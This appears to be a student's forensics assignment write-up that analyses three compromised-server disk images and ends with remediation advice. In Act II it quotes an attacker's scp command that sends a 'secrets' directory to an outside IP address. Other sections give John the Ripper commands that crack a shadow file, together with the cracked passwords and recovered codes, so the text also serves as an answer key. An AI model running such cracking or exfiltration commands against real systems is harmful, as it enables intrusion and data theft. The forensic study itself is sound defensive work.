Act I: The University Server
The server is not compromised. If you check the content inside `/var/log`, there isn't any evidence that suggests a compromise. Now, let's see if the suspicious traffic is caused by users. Check out `.bash_history` of each user. You will find that the user `kevin` is doing some suspicious activity. In particular:

```
echo "0 4 * * * rsync -aq --del --rsh="ssh" -e "ssh -l kevin"
"kevin.dynip.com:My_Music/" "~/music"" | crontab -
```

Crontab is used to schedule a task. Here's the syntax breakdown:

- `0 4 * * *` -- specifies when to run the task in the format of `[minute] [hour] [day of month] [month] [day of week]`. In this case, it means to run the task at 4 o'clock every day.
- `rsync` -- a command to copy remote files
- a -- recursive copy
- q -- suppress output from remote server
- `del` -- the receiver side deletes files incrementally
- `e, rsh` -- specifies the remote shell command to use

So every day at 4 o'clock, we are `ssh` into `kevin.dynip.com` and copy all the files from My_Music directory in remote server into music directory in local. This is very likely the cause of the Internet traffic spike observed at 4 in the morning.

To verify that `kevin`'s cron job was indeed the issue, check the size of the `music` directory

```
du -h music
```

It turns out the `music` directory has size 280M, which is huge! So the server is most likely not compromised. The Internet traffic spike was caused by kevin's cron job downloading a lot of large music files.

Since there is no attacker, no sensitive information is leaked. No meaningful data is recovered. There is nothing to do to put the system back to production because the machine was not compromised. To prevent this from happening again, we need to warn `kevin` not to do this or put his website under blacklist. This assignment took me approximately 1 day.

Act II: The Missing Numbers
The server is compromised. If you check the logs in `/var/log`, you will notice auth.log looks pretty suspicious. You will see there are many failed attempts of passwords. In particular, users `john`, `fred`, and `mike` entered incorrect login passwords repeatedly. Then it looks like their passwords are cracked shortly after because you see the log says they were able to login later.

Finally, a new user `jake` is added to the system by `root` through `mike`, whose account is likely compromised. Let's check what commands were executed under those suspicious users. The `.bash_history` of mike and root seem particularly interesting. Looks like the user `mike` installed *John the Ripper password cracker* and tried to crack `/etc/passwd` file. Let's try and see if it actually worked out.

```
sudo apt-get install john
Unshadow /images/sda1/etc/passwd /images/sda1/etc/shadow > mypasswd
john mypasswd
```

Here's the output:

```
password1        (mike)
password         (guest)
tuesday2         (root)
baseball8        (fred)
…
```

This explains why `mike`'s password was cracked so easily. Then the attacker was able to get the password of `root` and created a new user `jake`. Check `jake`'s `.bash_history` and you will find this:

```
scp -r secrets d000d@207.92.30.41   :~/
```

We just found an evidence that the user `jake` remotely copied all the files in `secrets` to the kid's IP address `207.92.30.41`. So it's reasonable to conclude that this kid is responsible for the exploit.

The attacker accesses some sensitive information. In particular, they stole data inside the `secrets` directory. Although we were able to detect some files were deleted, we were not able to recover it. Before we put the system back to production, we should make the users including `root` have stronger passwords. We recommend telling the users to use a password generator. This assignment took me approximately 1 day.

Act III: The Wealthy Individual
The server is compromised. Check for deleted files and try to recover them. You will find:

- `inode-3680000-ASCII_test`
- `inode-3680001-ASCII_test`
- `inode-3680002-ASCII_test`
- `inode-3680003-ASCII_test`

- `inode-703144-application_core`

Examine the deleted files and you will find `inode-3680000-ASCII_test`, `inode-3680000-ASCII_test`, and `inode-3680000-ASCII_test` contain something potentially meaningful:

- `7 17jonquil23scent14`
- `8 26daisy99daisy99`
- `6 13tulip34root28`

`inode-368003-ASCII_text` looks like someone's `.bash_history` file. Inside the file, there is chown `rich:rich -R *`, so most likely this is user rich's .bash_history file. Indeed, .bash_history does not exist in rich's home directory. By `gpg --symmetric swisskey1`, we see rich is the one who encrypted those 8 bank codes we are trying to decrypt. `rich` is very likely responsible for the attack. Either `rich` was involved in the attack or his account is compromised (as you will see later, `rich`'s password can be cracked using `john`). Examining `rich`'s home directory, you will find the 8 encrypted bank codes. Let's try the sequence of characters we found earlier as passphrases. It turns out they are indeed the passphrases. Here are the decrypted `swisskeys` 8, 7, and 6.

```
goodness_gracious_great_balls_of_fire
twist_again_like-we_did_last_summer
raindrops_keep_fallin_on_my_head
```

Digging through the directories, I found:

- `4 11hibiscus2hibiscus23 (at `/images/sda1/home/rich/.extrtmtc/key4`)`
- `5 19rose42blossom35 (at `/images/sda1/home/rich/.mozilla/cache/a234Z8x0`)`
- `1 23philo7dendron88 (at `/images/sda1/tmp/extortomatic-23421/key1`)`

They worked as passphrases and decrypted `swisskeys` 4, 5, and 1.

```
im_pickin_up_good_vibrations
its_the_little_old_lady_from_pasadena
me_and_you_and_you_and_me-so_happy_2gether
```

The only place we haven't checked that has user generated data is the swap space (i.e. `/dev/loop1`). Check what's inside it:

```
strings /dev/loop1 | less
```

The amount of data in the swap space is overwhelming. Based on the pattern we've seen so far about the passphrases, we are looking for something of these forms in terms of `regex`:

- `2 [a-zA-Z0-9]{10,30}`
- `3 [a-zA-Z0-9]{10,30}`

So we can filter the output with `grep` as follows:

```
strings /dev/loop1 | grep -E '2 [a-zA-Z0-9]{10,30}'
strings /dev/loop1 | grep -E '3 [a-zA-Z0-9]{10,30}'
```

You will find:

- key2 41jade6tree29
- key 3 29azalea8flower00

which will decrypt `swisskeys` 2 and 3 as:

```
everybody_dance_now_hey_now
what_would_you_do_if_sang_out_of_tune
```

In conclusion, here's the keys of the 8 bank codes:

```
bank code 1: me_and_you_and_you_and_me-so_happy_2gether
bank code 2: everybody_dance_now_hey_now
bank code 3: what_would_you_do_if_sang_out_of_tune
bank code 4: im_pickin_up_good_vibrations
bank code 5: its_the_little_old_lady_from_pasadena
bank code 6: raindrops_keep_fallin_on_my_head
bank code 7: twist_again_like-we_did_last_summer
bank code 8: goodness_gracious_great_balls_of_fire
```

The attacker accessed some sensitive information. In particular, they accessed the bank codes. We were able to recover the passphrases to decrypt some of the bank codes. We also found `.bash_history` of the compromised user `rich`. Before returning the system to production, the bank codes need to be rotated (i.e. renewed). Also, users must have stronger passwords. Interrogate `rich` and see if he is involved. Change the owner of `swiss_keys` directory to `root` so only `root` can access it. We recommend telling the users to change their passwords to stronger ones. This assignment took me approximately 2 days.

Extra Credit
Just run `john` for a long time:

```
unshadow /images/sda1/etc/passwd /images/sda1/etc/shadow > mypasswd
john mypasswd
```

You will get this after a while:

```
butler           (jeeves)
moneymoney       (root)
plants           (gardener)
```

At this point, you would guess the rest of the passwords are probably also some combinations of English words, and not some random characters. So to optimize the process, we can use `wordlist` according to *John the Ripper* documentation:

```
wget https://download.openwall.net/pub/wordlists/all.gz
gzip -d all.gz
john --wordlist=all --rules mypasswd
```

After a while, you will get this:

```
food             (chef)
moneybags        (rich)
```

This, we have successfully recovered 5 user passwords:

```
butler           (jeeves)
moneymoney       (root)
plants           (gardener)
food             (chef)
moneybags        (rich)
```

All 8 missing bank codes are recovered in previous section:

```
bank code 1: me_and_you_and_you_and_me-so_happy_2gether
bank code 2: everybody_dance_now_hey_now
bank code 3: what_would_you_do_if_sang_out_of_tune
bank code 4: im_pickin_up_good_vibrations
bank code 5: its_the_little_old_lady_from_pasadena
bank code 6: raindrops_keep_fallin_on_my_head
bank code 7: twist_again_like-we_did_last_summer
bank code 8: goodness_gracious_great_balls_of_fire
```